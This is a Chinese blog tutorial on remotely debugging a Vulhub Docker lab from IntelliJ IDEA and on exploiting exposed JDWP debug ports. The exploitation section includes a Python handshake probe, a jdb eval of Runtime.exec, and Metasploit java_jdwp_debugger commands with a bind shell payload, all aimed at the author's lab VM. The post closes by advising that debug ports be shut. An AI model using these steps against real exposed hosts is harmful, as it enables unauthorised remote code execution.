IDEA遠程調試與JDWP調試端口RCE漏洞

文章目錄

  • 前言
  • Docker遠程調試
    • Java調試原理
    • 遠程調試實踐
  • JDWP端口RCE
    • 調試端口探測
    • 調試端口利用
  • 總結

前言

在對一些 Java CVE 漏洞的調試分析過程中,少不了需要搭建漏洞環境的場景,但是本地 IDEA 搭建的話既麻煩(通過 pom.xml 導入各種漏洞組件和依賴包)又不安全(容易把自己機器變成靶機了),這個時候如果能直接在虛擬機運行 Vulhub 提供的 Docker 靶場并使用物理機 IDEA 對其進行遠程調試,那么這項工作就顯得安全便捷了。

本文來學習下如何通過 IDEA 遠程調試遠程 Docker 服務的靶場環境,同時學習此類調試環境衍生的服務器安全風險——JDWP調試接口對外開放導致RCE漏洞。

Docker遠程調試

Java調試原理

學習如何遠程調試 Docker 容器服務之前,先來了解下 Java 調試的基本原理。本章節主要參考:使用 IDEA 快速遠程調試 Docker 中運行的 Java 應用程序 (強烈推薦)。

隨便起個本地 Java 項目,進行 IDEA 本地調試,可以看到如下日志:
在這里插入圖片描述
Debug 大致過程如下:
在這里插入圖片描述
以上過程被稱為 JPDA 調用體系。JPDA(Java Platform Debugger Architecture)是 sun 公司開發的 java平臺調試體系, 它主要有三個層次組成:

JPDA 組成部分核心作用
Java 虛擬機工具接口 (JVMTI)它是虛擬機的本地接口,其相當于 Thread 的 sleep、yield native 方法
Java 調試網絡協議 JDWP(Java Debug Wire Protocol)描述了調試信息的格式,以及在被調試的進程(server)和調試器(client)之間傳輸的請求
Java 調試接口(JDI)虛擬機的高級接口,調試器(client)自己實現 JDI 接口,比如 idea 等其他編譯器

綜上我們知道了 IDEA 調試的原理大致如下:

  1. 先建立起了 socket 連接;
  2. 將斷點位置創建了斷點事件通過 JDI 接口傳給了 服務端(程序端)的 JVM,JVM 調用 suspend 將 JVM 掛起;
  3. JVM 掛起之后將客戶端需要獲取的 JVM 信息返回給客戶端,返回之后 JVM resume 恢復其運行狀態;
  4. 客戶端獲取到 JVM 返回的信息之后可以通過不同的方式展示給客戶端;

總的來說,本地調試其實也可以認為是遠程調試,IDEA 通過本地隨機端口與 JVM 進行 socket 通信。

遠程調試指的是使用本地客戶端來調試運行在遠程服務器上的程序。IntelliJ IDEA 遠程調試的原理是,當服務器端以調試模式運行 Java 程序時,如果客戶端使用文本相同的字節碼和事先約定好的端口號,就可以遠程調試該 Java 程序。因此,IntelliJ IDEA 遠程調試的必要條件是:

  1. Java 程序必須在服務端已經啟動且在調試時正在運行;
  2. Java 程序在服務端以調試模式啟動,以調試模式啟動需要在運行該 Java 程序時,使用一些調試模式的 JVM 參數;
  3. 客戶端使用 IntelliJ IDEA 進行調試時,使用與服務端事先約定好的相同端口號,且該端口號在服務端沒有被占用;
  4. 客戶端使用 IntelliJ IDEA 進行調試時,使用的代碼在文本上與服務端一致。

“在文本上一致” 指的是:客戶端使用的代碼與服務端使用的代碼的文字完全相同,如果不一致,使用的斷點將不起作用。文本上一致不包括注釋,但包括換行。文本上一致不需要是同一個代碼源文件,只需要文本相同即可。

So 問題來了:此處由于我們希望在遠程調試過程中直接引用的別人的 Docker 鏡像,但咱們手上又沒有構建 docker 鏡像時的源代碼,咱們最多只能提取 docker 容器中的 jar 包,這個能不能替代服務端源代碼?答案是可以的。

回想我們平時 IDEA 引入第三方 jar 包,只要 Add as Library 操作,jar 包就被打開了,可以看到 “源代碼”,并且 jar 包內的 ClassName 就可以被我們實例化調用,還可以在 jar 包的 .class 文件里打斷點進行調試。所以在遠程調試 Docker 鏡像服務的時候,我們也可以提取 docker 容器中的 jar 包,然后到 IDEA 項目中將其 Add as Library 引入即可解決代碼文本與服務端保持一致的問題。

遠程調試實踐

此處以 Java代碼審計之SpEL表達式注入漏洞分析 一文中提到的 CVE-2022-22963 靶場環境為例,在 Ubuntu 虛擬機中借助 Vulhub 靶場集成環境快速搭建 Docker 漏洞環境服務。

【注意】請先確認物理機項目的 Java 版本與遠程 Docker 服務的 Java 版本一致(大版本即可,比如 Java 1.8,至于 1.8.0_202 這類的小版本則關系不大),避免斷點調試失敗。

1、在 docker-compose.yml 配置映射端口讓 jvm debug 端口能外部訪問:
在這里插入圖片描述

2、在 docker-compose.yml 中使用 command 字段添加自定義啟動命令:

java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=xxxx -jar jar包名稱.jar
//最終示例配置如下
command: java -jar -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=9001 /spring-cloud-function-sample-0.0.1-SNAPSHOT.jar

是不是突然發現自己不知道 jar 包名字叫啥?可以先啟動容器,然后執行 docker ps --no-trunc 輸出完整的容器描述,就可以看到容器名稱以及容器中的路徑:
在這里插入圖片描述
故最后添加配置如下:
在這里插入圖片描述

3、執行命令:docker cp 容器id:jar包路徑 目標路徑,從 Docker 容器中獲取等待調試的漏洞環境 Jar 包到 Ubuntu 虛擬機桌面:
在這里插入圖片描述
4、Ubuntu 虛擬機搭建 python 簡易 Service,通過局域網服務將文件 jar 傳遞到物理機中:
在這里插入圖片描述
在這里插入圖片描述
5、然后,劃重點!!修改了 docker-compose.yml 之后,一定要執行 docker rm -f 容器ID刪除容器,并重新執行docker-compose up -d生成新的容器,才會使配置生效(本人親身踩坑的教訓……):
在這里插入圖片描述
在這里插入圖片描述
6、接著在物理機 IDEA 隨意新建一個 Java 項目中將 spring-cloud-function-sample-0.0.1-SNAPSHOT.jar 添加到文件夾中,然后右鍵 jar 包,選擇 Add as Lirary 將其添加到項目依賴庫中:
在這里插入圖片描述

【強烈推薦】實際上最簡潔方便的方案是:直接新建一個空文件夾存放此 Jar 文件后,解壓縮 jar 包,然后通過 IDEA 直接打開該文件夾就可以。

7、先在 uppercase() 函數打上斷點:
在這里插入圖片描述

8、然后在 IDEA 配置 Remote Debug:
在這里插入圖片描述
9、然后 Debug 運行,發現可以成功連接上遠程 9001 調試端口,如下日志信息即代表成功連接:
在這里插入圖片描述
但是訪問 http://192.168.51.177:8080/uppercase,卻發現并無法成功攔截、調試遠程程序:
在這里插入圖片描述

10、參考 使用 IDEA 快速遠程調試 Docker 中運行的 Java 應用程序 來看,需要通過 Project Structure-->Modules-->Dependencies 手動添加要調試的 class 文件的目錄 BOOT-INF 到依賴之中:
在這里插入圖片描述
在這里插入圖片描述

11、重新 Restart Debug,并發送報文,發現就能成功在斷點處攔截遠程 Docker 服務執行了:

POST /uppercase HTTP/1.1
Host: 192.168.51.177:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 3aaa

在這里插入圖片描述
12、但是還是有問題,針對該漏洞,我們需要核心下斷點的類位于 lib 文件夾下的 spring-cloud-function-web-3.3.3.jar 中,而此時的斷點調試仍然無法進入第三方依賴包中,故我們嘗試把 lib 文件夾復制到根目錄(如果你使用我在 步驟6 中推薦的方式創建文件夾打開項目,則不需要這么麻煩地復制到根目錄),并右鍵 Add as Library
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述
不幸的是,至此發現仍然無法正常在 Spring-cloud-function-web-3.2.2.jar 依賴包 Controller 層 FunctionController.class 的 post 函數處下斷點攔截、調試,原因不詳(此處折騰了我一上午時間,如有大佬知情的話,辛苦留言指點下,謝謝)……
在這里插入圖片描述
但是經 m0rta1 大佬指點,此時也并非 lib 目錄下的所有依賴包都無法添加斷點,此處可以采用“曲線救國”法,在 post 函數里的 processRequest 函數添加斷點,則可以成功攔截程序:
在這里插入圖片描述
在這里插入圖片描述
在這里插入圖片描述

最后簡單總結下上述遠程調試 Docker 服務的步驟:

  1. docker-compose.yml 配置映射端口讓 jvm debug 端口能外部訪問;
  2. docker-compose.yml 中使用 command 字段添加自定義啟動命令:java -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=xxxx -jar jar包名稱.jar
  3. 容器啟動后,從容器中把運行的 jar 包復制出來,新建一個文件夾將 jar 包解壓縮到里面,IDEA 點擊 Open 打開這個文件夾, 選擇 Add as Lirary 將 lib 依賴庫統一添加到項目依賴庫中,并按需在代碼上打上斷點;
  4. IDEA 配置 Remote Debug,點擊 Debug 運行即可。

【致謝】此處萬分感謝 m0rta1 大佬耐心地幫我解決上述調試過程中出現的疑惑,大佬博文質量很高,強烈推薦收藏關注!

JDWP端口RCE

前面說到了,JDWP 是 JVM 虛擬機支持的一種網絡通訊協議,通過該協議,Debugger 端和被調試 JVM 之間可以進行通信,調試端可以獲取被調試 JVM 的包括類、對象、線程等信息。

既然 JDWP 是為 Java 調試而設計的通訊交互協議,在滲透測試的過程中,如果遇到目標服務器不小心開啟了對外暴露的 JDWP 服務,那么就可以利用 JDWP 實現連接遠程服務器,實現遠程代碼執行。

調試端口探測

此處以跟上文運行 Docker 調試服務的 Ubuntu 虛擬機處于同一局域網的 KaliLinux 作為攻擊機,來完成 JDWP 危險端口的探測和漏洞利用。

此處 Ubuntu 虛擬機繼續開放了 8080 服務端口和 9001 調試端口:
在這里插入圖片描述
JDWP 服務探測的原理都是一樣的,即向目標端口連接后發送 JDWP-Handshake,如果目標服務直接返回一樣的內容則說明是 JDWP 服務。

使用Nmap掃描

Nmap 掃描會識別到 JDWP 服務,且添加 -sV 參數則可以識別對應的 JDK 版本信息,如下所示:
在這里插入圖片描述
使用 Telnet 命令探測

使用 Telnet 命令探測,需要馬上輸入 JDWP-Handshake,然后服務端返回一樣的內容,證明是 JDWP 服務(有點費手,不推薦):

──(kali?kali)-[~/Desktop]
└─$ telnet 192.168.51.177 9001
Trying 192.168.51.177...
Connected to 192.168.51.177.
Escape character is '^]'.
JDWP-Handshake
JDWP-Handshake
……

Python腳本探測

使用如下腳本掃描也可以,直接連接目標服務器,并向目標發送 JDWP-Handshake,如果能接收到相同內容則說明目標是開啟了 JDWP 服務:

import sockethost = "192.168.51.177"
port = 9001
try:client = socket.socket()client.connect((host, port))client.send(b"JDWP-Handshake")if client.recv(1024) == b"JDWP-Handshake":print("[*] {}:{} Listening JDWP Service! ".format(host, port))
except Exception as e:print("[-] Connection failed! ")
finally:client.close()

在這里插入圖片描述

調試端口利用

介紹來介紹兩種方法,快速將探測到的 JDWP 服務端口轉換成一個遠程 RCE。

利用JDB工具

jdb 是 JDK 中自帶的命令行調試工具,執行如下命令連接遠程 JDWP 服務:

jdb -connect com.sun.jdi.SocketAttach:hostname=192.168.51.177,port=9001

在這里插入圖片描述
接下來執行threads命令查看所有線程:
在這里插入圖片描述
接著需要借助 thread <線程id> 命令選中一個 sleeping(正在休眠) 的線程,接下來執行stepi命令進入該線程(可通過執行help指令得知,stepi命令用于執行當前指令,啟動休眠的線程)。但是我這里顯然沒有正在休眠的線程,導致沒法繼續正常往下演示,只能選取別人的截圖了……
在這里插入圖片描述
接下來可以通過 print|dump|eval 命令,執行 Java 表達式從而達成命令執行:

eval java.lang.Runtime.getRuntime().exec("whoami")

在這里插入圖片描述
可以看到命令是執行成功,返回了一個 Process 對象。當然還可以進一步進行反彈 shell 的操作(Payload 注意先經過編碼轉換)。

更多 JDB 的用法請參見:Java調試工具 jdb:深入解析應用程序調試工具jdb 。

利用MSF的漏洞利用模塊

為了方便,可以直接使用 Metasploit 自帶的漏洞利用模塊 exploit/multi/misc/java_jdwp_debugger 進行漏洞利用:

msfconsole
msf6 > use exploit/multi/misc/java_jdwp_debugger
msf6 exploit(multi/misc/java_jdwp_debugger) > set rhosts 192.168.51.177
msf6 exploit(multi/misc/java_jdwp_debugger) > set rport 9001
msf6 exploit(multi/misc/java_jdwp_debugger) > set payload linux/x64/shell/bind_tcp 
msf6 exploit(multi/misc/java_jdwp_debugger) > run

遺憾的是,我執行 MSF 攻擊 Docker 靶機也出現了反彈 shell 創建 session 異常,提示跟上面 JDB 調試利用的異常一樣:“MSF 找不到適合單步執行的線程”。

應該是自身靶場環境的問題,肝了一天了,此處暫時不花時間糾結了(后續再來溯源這個問題),先看下大佬的演示圖吧:
在這里插入圖片描述

Github利用腳本

最后,Github 也有現成的 JDWP 端口遠程漏洞利用腳本:jdwp-codeifier,這里不展開,有需要自行獲取測試,使用方法已有 README 文檔。

總結

本文學習了如何在物理機 IDEA 中遠程調試 Ununtu 虛擬機 Vubhub 靶場集成環境搭建起來的 Docker 服務,為后續漏洞分析調試提供了一種新的手段。

同時學習 Java 調試的基本步驟原理,分析了 JDWP 調試端口如果在使用完不及時關閉且暴露在外網的話可能存在的 RCE 風險。故無論是開發人員還是安全測試、運維人員,在對 Java 服務端進行遠程調試后,務必終斷 JDWP 調試端口。

本文參考文章:

  1. JDWP調試接口RCE漏洞介紹;
  2. 使用 IDEA 快速遠程調試 Docker 中運行的 Java 應用程序 (附解決思考過程);

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/213010.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/213010.shtml
英文地址,請注明出處:http://en.pswp.cn/news/213010.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

面向對象編程教程

面向對象編程是一種基于對象的編程范型&#xff0c;它將程序中的數據和操作數據的方法看作一個整體&#xff0c;通過封裝、繼承和多態等機制來實現代碼的復用和可擴展性。面向對象編程也是現代軟件開發的主流編程范式之一&#xff0c;廣泛應用于各種編程語言中&#xff0c;如C、…

Zookeeper系統性學習-應用場景以及單機、集群安裝

Zookeeper 是什么&#xff1f; Zookeeper 為分布式應用提供高效且可靠的分布式協調服務&#xff0c;提供了諸如統一命名服務、配置管理和分布式鎖等分布式的基礎服務。在解決分布式數據一致性方面&#xff0c;ZooKeeper 并沒有直接采用 Paxos 算法&#xff0c;而是采用了名為 …

Android Studio Gradle下載慢解決方法

Android Studio Gradle下載慢解決方法 最近在練習模型部署&#xff0c;主要是在手機端部署&#xff0c;所以使用到了Android Studio&#xff0c;但是在創建項目的時候&#xff0c;一致在下載gradle&#xff0c;而且網速還很慢&#xff0c;不對&#xff0c;是極慢哪種&#xff0…

MQTT發布、訂閱和取消訂閱

在本文中&#xff0c;我們將深入了解MQTT發布、訂閱和取消訂閱相關的內容。如果你剛接觸發布/訂閱模型&#xff0c;建議閱讀本專欄之前的文章。 什么是MQTT發布消息 在MQTT中&#xff0c;一個客戶端連接到代理&#xff08;broker&#xff09;之后可以立即發布消息。這些消息依…

NetSuite預算管理實踐

NetSuite預算相關的原生功能有兩個&#xff1a; 一個是Expense Commitments And Budget Validation這個SuiteApp&#xff0c;我們在一年前寫過一篇文章介紹過。它強調預算的過程控制&#xff0c;但由于功能很有限&#xff0c;沒有實際用處。 NetSuite Budget功能包_netsuite …

Vue3 pinia的基本使用

pinia的使用跟vuex很像&#xff0c;去除了很多沒用的api&#xff0c;寫法有兩種&#xff0c;一種老式的選項式api還有一種組合式api&#xff0c;用哪種根據自己喜好來&#xff0c;以下示例為組合式api 更多教程參考官網&#xff1a;pinia官網https://pinia.vuejs.org/zh/ 安裝…

機器學習基本概念2

資料來源&#xff1a; https://www.youtube.com/watch?vYe018rCVvOo&listPLJV_el3uVTsMhtt7_Y6sgTHGHp1Vb2P2J&index1 https://www.youtube.com/watch?vbHcJCp2Fyxs&listPLJV_el3uVTsMhtt7_Y6sgTHGHp1Vb2P2J&index2 分三步 1、 定義function b和w是需要透…

linux之autoconf(1)基礎介紹

Linux之autoconf(1)基礎介紹 Author&#xff1a;Onceday Date&#xff1a;2023年2023年12月10日 漫漫長路&#xff0c;才剛剛開始… 本文主要內容翻譯自Autoconf官方文檔&#xff0c;僅供學習交流之用。 全系列文章請查看專欄: buildroot編譯框架_Once_day的博客-CSDN博客。…

FL Studio21最新FL水果編曲軟件中文版在哪下載?

FL Studio21水果編曲軟件是一款專業的音樂制作軟件&#xff0c;被廣泛地應用于電子音樂、hip-hop、流行樂等多種音樂類型的制作。該軟件提供了豐富的音頻編曲工具和音樂效果器&#xff0c;讓用戶可以輕松地創作出高品質的音樂作品。同時&#xff0c;這也是一款非常易于上手的軟…

[ 云計算 | Azure 實踐 ] 在 Azure 門戶中創建 VM 虛擬機并進行驗證

文章目錄 一、前言二、在 Azure Portal 中創建 VM三、驗證已創建的虛擬機資源3.1 方法一&#xff1a;在虛擬機服務中查看驗證3.1 方法二&#xff1a;在資源組服務中查看驗證 四、文末總結 一、前言 本文會開始創建新系列的專欄&#xff0c;專門更新 Azure 云實踐相關的文章。 …

7-7 求補碼

整數在內存中以二進制補碼形式存儲。對于給定的整數n&#xff0c;要求輸出其4個字節長的補碼。1個字節8個二進制位。 輸入格式: 輸入一個整數n(?231≤n≤231?1)。 輸出格式: 輸出n的補碼。 輸入樣例1: 123輸出樣例1: 00000000000000000000000001111011輸入樣例2: -12…

YOLOv8改進 | 2023檢測頭篇 | 利用AFPN改進檢測頭適配YOLOv8版(全網獨家創新)

一、本文介紹 本文給大家帶來的改進機制是利用今年新推出的AFPN&#xff08;漸近特征金字塔網絡&#xff09;來優化檢測頭&#xff0c;AFPN的核心思想是通過引入一種漸近的特征融合策略&#xff0c;將底層、高層和頂層的特征逐漸整合到目標檢測過程中。這種漸近融合方式有助于…

【react hook】ahook的useThrottleEffect 是干嘛的

import { useThrottleEffect } from ahooks;useThrottleEffect 是 React Hooks 中的一個自定義 Hook&#xff0c;用于創建具有節流效果的副作用函數。 在 React 組件中&#xff0c;副作用函數通常在組件生命周期方法中執行&#xff0c;如 componentDidMount、componentDidUpda…

軟件無線電SDR-頻譜采集python實現

sdr做的頻譜采集&#xff0c;保存的500張頻譜圖&#xff0c;能看出來是什么東西嗎&#xff1f;

VC++使用GetProcessTimes獲取進程創建時間、銷毀時間、用戶態時間、內核態時間

一、GetProcessTimes函數簡介&#xff08;微軟MSDN&#xff09; 微軟提供了一個非常有用的API函數GetProcessTimes用來獲取進程創建時間、銷毀時間、用戶態時間、內核態時間&#xff0c;msdn連接為&#xff1a;GetProcessTimes 函數 (processthreadsapi.h) 其函數原型為&#…

Linux內核--內存管理(六)補充--內核頁表及內核虛擬空間

目錄 一、引言 二、內核頁表的結構 ------>2.1、頁表項結構 ------>2.2、swapper_pg_dir ------>2.3、內核頁表布局 ------>2.4、物理/虛擬 地址轉換 ------>2.5、頁表容量及表項偏移 ------>2.6、表項掩碼及控制區域 ------>2.7、頁標志位 ---…

【測試發布】

學習目標&#xff1a; 提示&#xff1a;這里可以添加學習目標 例如&#xff1a; 一周掌握 Java 入門知識 學習內容&#xff1a; 提示&#xff1a;這里可以添加要學的內容 例如&#xff1a; 搭建 Java 開發環境掌握 Java 基本語法掌握條件語句掌握循環語句 學習時間&#x…

基于NIQE算法的圖像無參考質量評價算法matlab仿真

目錄 1.算法運行效果圖預覽 2.算法運行軟件版本 3.部分核心程序 4.算法理論概述 4.1 空域NSS特征提取 4.2 圖像塊選取 4.3 MVG模型 4.4 NIQE指標 5.算法完整程序工程 1.算法運行效果圖預覽 2.算法運行軟件版本 MATLAB2022a 3.部分核心程序 clc; clear; close all; …

輕量封裝WebGPU渲染系統示例<46>- 材質組裝管線(MaterialPipeline)燈光、陰影、霧以及多Pass(源碼)

當前示例源碼github地址: https://github.com/vilyLei/voxwebgpu/blob/feature/material/src/voxgpu/sample/MaterialPipelineMultiPasses.ts 當前示例運行效果: 此示例基于此渲染系統實現&#xff0c;當前示例TypeScript源碼如下&#xff1a; export class MaterialPipelin…

Python----內置模塊

1、什么是Python模塊 Python 模塊(Module)&#xff0c;是一個Python 文件&#xff0c;以 .py 結尾&#xff0c;包含了 Python 對象定義和Python語句。模塊能定義函數&#xff0c;類和變量&#xff0c;模塊里也能包含可執行的代碼。 2、模塊的分類 在Python中&#xff0c;模塊…